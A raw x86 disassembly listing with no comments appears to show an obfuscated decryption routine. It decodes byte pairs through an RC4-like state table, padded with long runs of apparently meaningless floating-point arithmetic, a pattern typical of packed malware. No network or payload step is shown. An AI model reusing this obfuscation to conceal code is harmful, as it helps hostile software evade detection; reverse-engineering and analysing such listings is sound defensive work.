mov dl, byte [ebp + ecx - 0x69e8]
mov byte [ebp - 0x3374], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x69e8]
mov byte [ebp - 0x330a], dl
movzx eax, byte [ebp - 0x3359]
mov cl, byte [ebp + eax - 0x69e8]
mov byte [ebp - 0x331a], cl
mov dword [ebp - 0x5134], 0x48
cmp dword [ebp - 0x5134], 2
jle 0x4331c1
mov edx, dword [ebp - 0x5134]
and edx, 1
jne 0x4331c1
mov dword [ebp - 0x359c], 0
mov dword [ebp - 0x3d08], 0
mov eax, dword [ebp - 0x3d08]
add eax, 1
mov dword [ebp - 0x3d08], eax
mov dword [ebp - 0x4278], 0
mov ecx, dword [ebp - 0x359c]
shl ecx, 1
mov dword [ebp - 0x4278], ecx
mov dword [ebp - 0x417c], 0
mov edx, dword [ebp - 0x4274]
add edx, dword [ebp - 0x4278]
movzx eax, byte [edx]
add eax, dword [ebp - 0x417c]
mov dword [ebp - 0x417c], eax
mov dword [ebp - 0x4180], 0
mov ecx, dword [ebp - 0x4180]
add ecx, 0x92
mov dword [ebp - 0x4180], ecx
mov dword [ebp - 0x4270], 0
mov edx, dword [ebp - 0x359c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4270], eax
mov dword [ebp - 0x41a8], 0
mov ecx, dword [ebp - 0x4274]
add ecx, dword [ebp - 0x4270]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x41a8]
mov dword [ebp - 0x41a8], edx
mov dword [ebp - 0x41ac], 0
mov eax, dword [ebp - 0x41ac]
add eax, 0xd4
mov dword [ebp - 0x41ac], eax
mov dword [ebp - 0x41bc], 0
mov ecx, dword [ebp - 0x417c]
sub ecx, dword [ebp - 0x4180]
add ecx, dword [ebp - 0x41bc]
mov dword [ebp - 0x41bc], ecx
mov dword [ebp - 0x41c0], 0
mov edx, dword [ebp - 0x41a8]
sub edx, dword [ebp - 0x41ac]
add edx, dword [ebp - 0x41c0]
mov dword [ebp - 0x41c0], edx
mov dword [ebp - 0x426c], 0
mov eax, dword [ebp - 0x41bc]
shl eax, 4
mov dword [ebp - 0x426c], eax
mov dword [ebp - 0x4268], 0
mov ecx, dword [ebp - 0x41c0]
mov dword [ebp - 0x4268], ecx
mov dword [ebp - 0x4264], 0
mov edx, dword [ebp - 0x426c]
or edx, dword [ebp - 0x4268]
mov dword [ebp - 0x4264], edx
mov byte [ebp - 0x3373], 0
mov al, byte [ebp - 0x4264]
mov byte [ebp - 0x3373], al
mov byte [ebp - 0x3375], 0
movzx ecx, byte [ebp - 0x331a]
mov dl, byte [ebp + ecx - 0x69e8]
mov byte [ebp - 0x3375], dl
movzx eax, byte [ebp - 0x32e4]
movzx ecx, byte [ebp + eax - 0x69e8]
movzx edx, byte [ebp - 0x3306]
add edx, ecx
mov byte [ebp - 0x3306], dl
mov al, byte [ebp - 0x32e4]
add al, 1
mov byte [ebp - 0x32e4], al
movzx ecx, byte [ebp - 0x3306]
movzx edx, byte [ebp - 0x331a]
mov al, byte [ebp + ecx - 0x69e8]
mov byte [ebp + edx - 0x69e8], al
movzx ecx, byte [ebp - 0x330a]
movzx edx, byte [ebp - 0x3306]
mov al, byte [ebp + ecx - 0x69e8]
mov byte [ebp + edx - 0x69e8], al
movzx ecx, byte [ebp - 0x32e4]
movzx edx, byte [ebp - 0x330a]
mov al, byte [ebp + ecx - 0x69e8]
mov byte [ebp + edx - 0x69e8], al
movzx ecx, byte [ebp - 0x32e4]
mov dl, byte [ebp - 0x3375]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x3375]
movzx ecx, byte [ebp + eax - 0x69e8]
movzx edx, byte [ebp - 0x3374]
add edx, ecx
mov byte [ebp - 0x3374], dl
movzx eax, byte [ebp - 0x3373]
movzx ecx, byte [ebp - 0x3306]
movzx edx, byte [ebp + ecx - 0x69e8]
movzx ecx, byte [ebp - 0x32e4]
movzx ecx, byte [ebp + ecx - 0x69e8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x69e8]
xor eax, edx
movzx ecx, byte [ebp - 0x330a]
movzx edx, byte [ebp + ecx - 0x69e8]
movzx ecx, byte [ebp - 0x331a]
movzx ecx, byte [ebp + ecx - 0x69e8]
add edx, ecx
movzx ecx, byte [ebp - 0x3374]
movzx ecx, byte [ebp + ecx - 0x69e8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x69e8]
movzx ecx, byte [ebp + edx - 0x69e8]
xor eax, ecx
mov byte [ebp - 0x330a], al
mov dl, byte [ebp - 0x3373]
mov byte [ebp - 0x331a], dl
mov al, byte [ebp - 0x330a]
mov byte [ebp - 0x3455], al
cmp dword [ebp - 0x359c], 0
jle 0x431bbf
movsx cx, byte [ebp - 0x3455]
mov edx, dword [ebp - 0x359c]
mov word [ebp + edx*2 - 0x3a2], cx
mov eax, dword [ebp - 0x3d08]
add eax, 0x11
mov dword [ebp - 0x3d08], eax
mov ecx, dword [ebp - 0x359c]
add ecx, 1
mov dword [ebp - 0x4b4c], ecx
jmp 0x431bee
mov edx, dword [ebp - 0x4b4c]
add edx, 1
mov dword [ebp - 0x4b4c], edx
mov eax, dword [ebp - 0x4b4c]
cmp eax, dword [ebp - 0x3d08]
jge 0x4322e7
mov ecx, dword [ebp - 0x359c]
add ecx, 1
mov dword [ebp - 0x359c], ecx
mov edx, dword [ebp - 0x359c]
shl edx, 1
mov dword [ebp - 0x4278], edx
mov eax, dword [ebp - 0x4274]
add eax, dword [ebp - 0x4278]
movzx ecx, byte [eax]
mov dword [ebp - 0x417c], ecx
mov dword [ebp - 0x4180], 0x92
mov edx, dword [ebp - 0x359c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4270], eax
mov ecx, dword [ebp - 0x4274]
add ecx, dword [ebp - 0x4270]
movzx edx, byte [ecx]
mov dword [ebp - 0x41a8], edx
movsd xmm0, qword [0xa71cf0]
movsd qword [ebp - 0x452c], xmm0
movsd xmm0, qword [0xa71c18]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [0xa71b28]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [0xa71a48]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [0xa71948]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [0xa717b8]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [0xa716c8]
movsd qword [ebp - 0x4114], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
addsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x4378]
subsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x4254]
mulsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [ebp - 0x3ef0]
addsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x452c]
addsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x452c], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
mulsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x4420]
subsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x4114]
comisd xmm0, xmmword [ebp - 0x3ea4]
jbe 0x43204f
movsd xmm0, qword [ebp - 0x3ef0]
divsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x4114]
subsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x4114], xmm0
movsd xmm0, qword [ebp - 0x4254]
divsd xmm0, qword [ebp - 0x3ea4]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [ebp - 0x4420]
addsd xmm0, qword [ebp - 0x4254]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x4378]
subsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x4420]
subsd xmm0, qword [ebp - 0x4254]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x4114]
mulsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x4114], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
subsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x4254]
addsd xmm0, qword [ebp - 0x3ea4]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [ebp - 0x4378]
subsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x3ef0]
addsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x4254]
subsd xmm0, qword [ebp - 0x3ea4]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
mulsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x3ef0]
mulsd xmm0, qword [ebp - 0x4114]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x4254]
comisd xmm0, xmmword [ebp - 0x4378]
jbe 0x431fa2
movsd xmm0, qword [ebp - 0x4114]
addsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x4114], xmm0
movsd xmm0, qword [ebp - 0x4378]
addsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x4114]
subsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x4114], xmm0
movsd xmm0, qword [ebp - 0x4420]
mulsd xmm0, qword [ebp - 0x4254]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x4420]
addsd xmm0, qword [ebp - 0x4254]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x4378]
mulsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x452c]
mulsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x452c], xmm0
jmp 0x43204a
movsd xmm0, qword [ebp - 0x452c]
subsd xmm0, qword [ebp - 0x4254]
movsd qword [ebp - 0x452c], xmm0
movsd xmm0, qword [ebp - 0x3ef0]
addsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x3ef0]
divsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x4254]
mulsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [ebp - 0x4420]
mulsd xmm0, qword [ebp - 0x3ea4]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x3ef0]
subsd xmm0, qword [ebp - 0x452c]
movsd qword [ebp - 0x3ef0], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
divsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x3ea4], xmm0
jmp 0x432101
movsd xmm0, qword [ebp - 0x4254]
subsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x4254], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
addsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
subsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
subsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
subsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x3ea4], xmm0
movsd xmm0, qword [ebp - 0x4114]
mulsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x4114], xmm0
movsd xmm0, qword [ebp - 0x3ea4]
mulsd xmm0, qword [ebp - 0x3ef0]
movsd qword [ebp - 0x3ea4], xmm0
mov dword [ebp - 0x41ac], 0xd4
mov eax, dword [ebp - 0x417c]
sub eax, dword [ebp - 0x4180]
mov dword [ebp - 0x41bc], eax
mov ecx, dword [ebp - 0x41a8]
sub ecx, dword [ebp - 0x41ac]
mov dword [ebp - 0x41c0], ecx
mov edx, dword [ebp - 0x41bc]
shl edx, 4
mov dword [ebp - 0x426c], edx
mov eax, dword [ebp - 0x41c0]
mov dword [ebp - 0x4268], eax
mov ecx, dword [ebp - 0x426c]
or ecx, dword [ebp - 0x4268]
mov dword [ebp - 0x4264], ecx
mov dl, byte [ebp - 0x4264]
mov byte [ebp - 0x3373], dl
movzx eax, byte [ebp - 0x331a]
mov cl, byte [ebp + eax - 0x69e8]
mov byte [ebp - 0x3375], cl
movzx edx, byte [ebp - 0x32e4]
movzx eax, byte [ebp + edx - 0x69e8]
movzx ecx, byte [ebp - 0x3306]
add ecx, eax
mov byte [ebp - 0x3306], cl
mov dl, byte [ebp - 0x32e4]
add dl, 1
mov byte [ebp - 0x32e4], dl
movzx eax, byte [ebp - 0x3306]
movzx ecx, byte [ebp - 0x331a]
mov dl, byte [ebp + eax - 0x69e8]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp - 0x3306]
mov dl, byte [ebp + eax - 0x69e8]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x32e4]
movzx ecx, byte [ebp - 0x330a]
mov dl, byte [ebp + eax - 0x69e8]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x32e4]
mov cl, byte [ebp - 0x3375]
mov byte [ebp + eax - 0x69e8], cl
movzx edx, byte [ebp - 0x3375]
movzx eax, byte [ebp + edx - 0x69e8]
movzx ecx, byte [ebp - 0x3374]
add ecx, eax
mov byte [ebp - 0x3374], cl
movzx edx, byte [ebp - 0x3373]
movzx eax, byte [ebp - 0x3306]
movzx ecx, byte [ebp + eax - 0x69e8]
movzx eax, byte [ebp - 0x32e4]
movzx eax, byte [ebp + eax - 0x69e8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x69e8]
xor edx, ecx
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp + eax - 0x69e8]
movzx eax, byte [ebp - 0x331a]
movzx eax, byte [ebp + eax - 0x69e8]
add ecx, eax
movzx eax, byte [ebp - 0x3374]
movzx eax, byte [ebp + eax - 0x69e8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x69e8]
movzx eax, byte [ebp + ecx - 0x69e8]
xor edx, eax
mov byte [ebp - 0x330a], dl
mov cl, byte [ebp - 0x3373]
mov byte [ebp - 0x331a], cl
mov dl, byte [ebp - 0x330a]
mov byte [ebp - 0x3455], dl
cmp dword [ebp - 0x359c], 0
jle 0x4322e2
movsx ax, byte [ebp - 0x3455]
mov ecx, dword [ebp - 0x359c]
mov word [ebp + ecx*2 - 0x3a2], ax
jmp 0x431bdf
mov edx, dword [ebp - 0x3d08]
add edx, 1
mov dword [ebp - 0x3d08], edx
mov eax, dword [ebp - 0x359c]
add eax, 1
mov dword [ebp - 0x359c], eax
mov ecx, dword [ebp - 0x3d08]
add ecx, 1
mov dword [ebp - 0x3d08], ecx
mov edx, dword [ebp - 0x359c]
shl edx, 1
mov dword [ebp - 0x4278], edx
mov eax, dword [ebp - 0x4274]
add eax, dword [ebp - 0x4278]
movzx ecx, byte [eax]
mov dword [ebp - 0x417c], ecx
mov dword [ebp - 0x4180], 0x92
mov edx, dword [ebp - 0x359c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4270], eax
mov ecx, dword [ebp - 0x4274]
add ecx, dword [ebp - 0x4270]
movzx edx, byte [ecx]
mov dword [ebp - 0x41a8], edx
mov dword [ebp - 0x41ac], 0xd4
mov eax, dword [ebp - 0x417c]
sub eax, dword [ebp - 0x4180]
mov dword [ebp - 0x41bc], eax
mov ecx, dword [ebp - 0x41a8]
sub ecx, dword [ebp - 0x41ac]
mov dword [ebp - 0x41c0], ecx
mov edx, dword [ebp - 0x41bc]
shl edx, 4
mov dword [ebp - 0x426c], edx
mov eax, dword [ebp - 0x41c0]
mov dword [ebp - 0x4268], eax
mov ecx, dword [ebp - 0x426c]
or ecx, dword [ebp - 0x4268]
mov dword [ebp - 0x4264], ecx
mov dl, byte [ebp - 0x4264]
mov byte [ebp - 0x3373], dl
movzx eax, byte [ebp - 0x331a]
mov cl, byte [ebp + eax - 0x69e8]
mov byte [ebp - 0x3375], cl
movzx edx, byte [ebp - 0x32e4]
movzx eax, byte [ebp + edx - 0x69e8]
movzx ecx, byte [ebp - 0x3306]
add ecx, eax
mov byte [ebp - 0x3306], cl
mov dl, byte [ebp - 0x32e4]
add dl, 1
mov byte [ebp - 0x32e4], dl
movzx eax, byte [ebp - 0x3306]
movzx ecx, byte [ebp - 0x331a]
mov dl, byte [ebp + eax - 0x69e8]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp - 0x3306]
mov dl, byte [ebp + eax - 0x69e8]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x32e4]
movzx ecx, byte [ebp - 0x330a]
mov dl, byte [ebp + eax - 0x69e8]
mov byte [ebp + ecx - 0x69e8], dl
movzx eax, byte [ebp - 0x32e4]
mov cl, byte [ebp - 0x3375]
mov byte [ebp + eax - 0x69e8], cl
movzx edx, byte [ebp - 0x3375]
movzx eax, byte [ebp + edx - 0x69e8]
movzx ecx, byte [ebp - 0x3374]
add ecx, eax
mov byte [ebp - 0x3374], cl
movzx edx, byte [ebp - 0x3373]
movzx eax, byte [ebp - 0x3306]
movzx ecx, byte [ebp + eax - 0x69e8]
movzx eax, byte [ebp - 0x32e4]
movzx eax, byte [ebp + eax - 0x69e8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x69e8]
xor edx, ecx
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp + eax - 0x69e8]
movzx eax, byte [ebp - 0x331a]
movzx eax, byte [ebp + eax - 0x69e8]
add ecx, eax
movzx eax, byte [ebp - 0x3374]
movzx eax, byte [ebp + eax - 0x69e8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x69e8]
movzx eax, byte [ebp + ecx - 0x69e8]
xor edx, eax
mov byte [ebp - 0x330a], dl
mov cl, byte [ebp - 0x3373]
mov byte [ebp - 0x331a], cl
mov dl, byte [ebp - 0x330a]
mov byte [ebp - 0x3455], dl
cmp dword [ebp - 0x359c], 0
jle 0x432551
movsx ax, byte [ebp - 0x3455]
mov ecx, dword [ebp - 0x359c]
mov word [ebp + ecx*2 - 0x3a2], ax
mov edx, dword [ebp - 0x3d08]
add edx, 0x11
mov dword [ebp - 0x3d08], edx
mov eax, dword [ebp - 0x359c]
add eax, 1
mov dword [ebp - 0x4b50], eax
jmp 0x432580
mov ecx, dword [ebp - 0x4b50]
add ecx, 1
mov dword [ebp - 0x4b50], ecx
mov edx, dword [ebp - 0x4b50]
cmp edx, dword [ebp - 0x3d08]
jge 0x433182
mov eax, dword [ebp - 0x359c]
add eax, 1
mov dword [ebp - 0x359c], eax
mov ecx, dword [ebp - 0x359c]
shl ecx, 1
mov dword [ebp - 0x4278], ecx
mov edx, dword [ebp - 0x4274]
add edx, dword [ebp - 0x4278]
movzx eax, byte [edx]
mov dword [ebp - 0x417c], eax
mov dword [ebp - 0x4180], 0x92
mov ecx, dword [ebp - 0x359c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4270], edx
mov eax, dword [ebp - 0x4274]
add eax, dword [ebp - 0x4270]
movzx ecx, byte [eax]
mov dword [ebp - 0x41a8], ecx
mov dword [ebp - 0x41ac], 0xd4
movss xmm0, dword [0xa723dc]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [0xa72380]
movss dword [ebp - 0x379c], xmm0
movss xmm0, dword [0xa722c4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [0xa721e4]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [0xa720fc]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [0xa72014]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x33ec]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x33ec]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x33ec]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x33ec]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x33ec]
comiss xmm0, dword [ebp - 0x3414]
jbe 0x4327a9
movss xmm0, dword [ebp - 0x34b8]
mulss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34e8]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x33ec]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e4]
addss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x3414], xmm0
mov edx, dword [ebp - 0x417c]
sub edx, dword [ebp - 0x4180]
mov dword [ebp - 0x41bc], edx
jmp 0x432bcd
movss xmm0, dword [ebp - 0x3414]
divss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34b8]
divss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34e4]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x379c]
divss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x379c], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34b8]
mulss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34e4]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x379c]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x379c], xmm0
movss xmm0, dword [ebp - 0x34e8]
mulss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x33ec]
subss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x3414]
addss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x33ec]
comiss xmm0, dword [ebp - 0x34e4]
jbe 0x432973
movss xmm0, dword [ebp - 0x34b8]
mulss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x33ec]
divss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34e4]
addss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x34e8]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
jmp 0x432bcd
movss xmm0, dword [ebp - 0x34e8]
subss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x379c]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x379c], xmm0
movss xmm0, dword [ebp - 0x34e4]
divss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x34e4]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x3414]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x34e4]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x34e4]
subss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x3414]
divss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x34b8]
addss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x33ec]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x379c]
comiss xmm0, dword [ebp - 0x34e8]
jbe 0x432b3d
movss xmm0, dword [ebp - 0x34b8]
mulss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34e8]
divss xmm0, dword [ebp - 0x34e4]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x33ec]
addss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x33ec]
divss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x33ec]
subss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x33ec]
mulss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x33ec], xmm0
jmp 0x432bcd
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x34e8]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x34e8]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x3414]
mulss xmm0, dword [ebp - 0x379c]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x34e4]
divss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34e4], xmm0
movss xmm0, dword [ebp - 0x379c]
mulss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x379c], xmm0
mov eax, dword [ebp - 0x41a8]
sub eax, dword [ebp - 0x41ac]
mov dword [ebp - 0x41c0], eax
movsd xmm0, qword [0xa71f58]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [0xa71e78]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [0xa71c30]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [0xa71958]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3abc]
mulsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
mulsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3abc]
subsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
subsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3c88]
comisd xmm0, xmmword [ebp - 0x3c1c]
jbe 0x432f62
movsd xmm0, qword [ebp - 0x3abc]
mulsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3c88]
subsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3abc]
mulsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
mulsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3abc]
